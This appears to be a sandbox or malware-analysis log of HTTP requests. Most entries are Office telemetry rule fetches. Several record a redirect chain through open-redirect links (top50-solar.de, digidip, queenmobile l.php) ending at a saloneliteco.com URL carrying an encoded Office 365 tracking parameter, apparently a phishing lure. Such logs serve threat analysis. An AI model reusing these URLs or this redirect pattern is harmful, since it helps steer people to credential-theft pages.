Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fZCuYDtH+u7nKbh&MD=GUdmc7dn HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /newsclick.php?id=136149&link=https://coupons.digidip.net/visit?url=Https://hr.queenmobile.net/l.php?url=https%3A%2F%2Fsaloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N&partner=17&merchant_id=169269&country_id=83 HTTP/1.1Host: www.top50-solar.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /visit?url=Https://hr.queenmobile.net/l.php?url=https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N HTTP/1.1Host: coupons.digidip.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /l.php?url=https://saloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N HTTP/1.1Host: hr.queenmobile.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
